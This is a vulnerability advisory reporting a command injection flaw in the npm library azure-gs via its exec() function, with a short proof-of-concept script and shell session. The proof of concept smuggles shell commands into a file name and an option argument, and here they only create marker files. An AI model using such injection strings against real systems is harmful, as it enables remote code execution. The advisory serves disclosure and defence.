Summary
A Command Injection vulnerability was discovered in
azure-gs through the
exec() function.
Product
All currently published azure-gs versions.
Impact
This issue may lead to remote code execution if a user of the library calls the
vulnerable function.
Steps to reproduce
$ rm -f *_pwn
$ ls -1
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
const GSClass = require('azure-gs')
var x = new GSClass();
x.exec("; echo filename > filename_pwn", [], () => {});
x.exec("hello.pdf", ["< /dev/null; echo options > options_pwn;", "echo"], () => {});
$ node poc.js
$ ls -1
filename_pwn
node_modules
options_pwn
package-lock.json
package.json
poc.js
$ cat *_pwn
filename
optionsRemediation
There are currently no fixed versions released. As a workaround, avoid passing
untrusted input into the vulnerable function when using the library.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.
